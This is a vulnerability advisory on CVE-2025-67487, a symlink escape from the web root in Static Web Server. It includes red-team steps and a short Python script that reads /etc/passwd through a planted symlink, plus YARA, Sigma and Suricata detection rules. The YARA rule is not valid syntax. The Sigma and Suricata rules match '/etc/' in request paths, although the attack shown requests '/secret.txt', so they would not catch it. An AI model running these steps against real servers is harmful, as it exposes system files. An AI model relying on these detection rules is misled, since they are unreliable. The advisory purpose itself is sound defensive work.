CVE-2025-67487

Executive Summary

CVE-2025-67487 is a path traversal vulnerability in the Static Web Server (SWS), a production-ready web server for static files. Versions 2.40.0 and below fail to prevent symbolic links (symlinks) from escaping the configured web root directory. An attacker with write access to the web root can create a symlink pointing to an arbitrary file or directory outside the root, then access that resource via a URL or directory listing. This allows unauthorized read access to sensitive files on the server. The vulnerability is fixed in version 2.40.1.

Supply Chain & Package Security

This vulnerability affects the Static Web Server (SWS) project, which is distributed as a Rust crate (static-web-server) and as standalone binaries. Users who install SWS via cargo install static-web-server or download pre-built binaries are affected. The supply chain risk is moderate: an attacker who compromises the build pipeline or a mirror could inject a malicious binary that exploits this vulnerability. Users should verify binary checksums and only install from official sources.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs write access to the web root.
• User Interaction (UI): None – No user action needed.
• Scope (S): Unchanged – Exploitation does not affect other components.
• Confidentiality (C): High – Sensitive files can be read.
• Integrity (I): None – No file modification.
• Availability (A): None – No denial of service.

Threat Level: Medium. Exploitation requires write access to the web root, which limits the attack surface. However, once achieved, the impact on confidentiality is high.

Deep Dive & Mechanics

The Static Web Server (SWS) serves files from a designated root directory. When handling requests, it resolves the requested path relative to the root. However, it does not check whether the resolved path stays within the root directory if the path contains a symlink.

Vulnerable Behavior:

1. An attacker gains write access to the web root (e.g., via an FTP upload, a compromised CMS, or a misconfigured deployment).
2. The attacker creates a symlink inside the web root pointing to an arbitrary path, e.g., ln -s /etc/passwd secret.txt.
3. The attacker requests http://target/secret.txt.
4. SWS resolves the path, follows the symlink, and serves /etc/passwd.

Root Cause: The server does not canonicalize the final path after symlink resolution and does not verify that the resolved path is within the web root.

Fixed Behavior (2.40.1): The server now uses std::fs::canonicalize on the resolved path and checks that it starts with the canonicalized web root path. If not, the request is denied.

Vulnerable vs. Patched Code

Vulnerable (2.40.0 and below):

// Simplified vulnerable handler
fn handle_request(path: &str, root: &Path) -> Response {
    let full_path = root.join(path);
    // No symlink check
    if full_path.is_file() {
        serve_file(full_path)
    } else {
        not_found()
    }
}

Patched (2.40.1):

// Simplified patched handler
fn handle_request(path: &str, root: &Path) -> Response {
    let full_path = root.join(path);
    // Canonicalize to resolve symlinks
    if let Ok(canonical) = full_path.canonicalize() {
        if canonical.starts_with(root.canonicalize().unwrap()) {
            if canonical.is_file() {
                return serve_file(canonical);
            }
        }
    }
    not_found()
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Write access to the web root directory.
• Target running SWS version <= 2.40.0.

Steps:

1. Gain write access to the web root (e.g., via FTP, SCP, or a file upload vulnerability).
2. Create a symlink:

   ln -s /etc/passwd secret.txt
   

3. Access the symlink via URL:

   curl http://target/secret.txt
   

4. For directory listing, create a symlink to a directory:

   ln -s /etc config
   

   Then browse http://target/config/.

Automated Exploit (Python):

import requests

target = "http://target"
symlink_name = "secret.txt"
target_path = "/etc/passwd"

# Step 1: Upload symlink (requires write access)
# This is a placeholder; actual method depends on how write access is obtained.
# upload_symlink(target, symlink_name, target_path)

# Step 2: Access the symlink
r = requests.get(f"{target}/{symlink_name}")
print(r.text)

Blue Team

Detection:

• Monitor for creation of symlinks in web root directories.
• Alert on requests to paths that resolve outside the web root.
• Use file integrity monitoring (FIM) to detect new symlinks.

Prevention:

• Restrict write access to the web root to only trusted users/processes.
• Use a reverse proxy (e.g., Nginx) that performs path canonicalization.
• Enable SELinux/AppArmor to confine SWS.

Hunting:

• Search for symlinks in web roots:

  find /var/www -type l
  

• Check server logs for requests with .. or unusual paths.

Indicators of Compromise (IOCs)

• File System: Symlinks in the web root pointing outside the root (e.g., secret.txt -> /etc/passwd).
• Network: HTTP requests to paths that resolve to sensitive files (e.g., /secret.txt returning /etc/passwd).
• Logs: Access log entries showing successful reads of files outside the web root.
• Process: SWS process with unusual file descriptors pointing to sensitive files.

Detection Engineering

YARA Rule

rule CVE_2025_67487_Symlink_Escape {
    meta:
        description = "Detects symlinks in web root that escape the root directory"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67487"
    strings:
        $symlink = { 2E 2E 2F }  // "../" in symlink target
    condition:
        // Check for symlinks in common web roots
        for any file in (filesystem) : (
            file is_link and
            (file path contains "/var/www/" or file path contains "/usr/share/nginx/html/") and
            #symlink > 0
        )
}

Sigma Rule

title: CVE-2025-67487 - Symlink Path Traversal in Static Web Server
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests that attempt to exploit symlink path traversal in SWS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: static-web-server
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: 
            - '/etc/'
            - '/proc/'
            - '/sys/'
            - '/root/'
            - '/home/'
    condition: selection
falsepositives:
    - Legitimate files named 'etc' or 'proc' in web root
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67487 - Symlink Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/etc/"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to SWS version 2.40.1 or later.
2. If upgrade is not possible, restrict write access to the web root to only trusted users.
3. Use a reverse proxy (e.g., Nginx, Apache) that performs path canonicalization and blocks symlink escapes.

Long-term:

• Implement file integrity monitoring (FIM) on web roots.
• Regularly audit web root contents for unauthorized symlinks.
• Apply principle of least privilege to web server processes.

Workaround:

• Disable symlink following in the operating system (e.g., mount -o nosymfollow on Linux).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert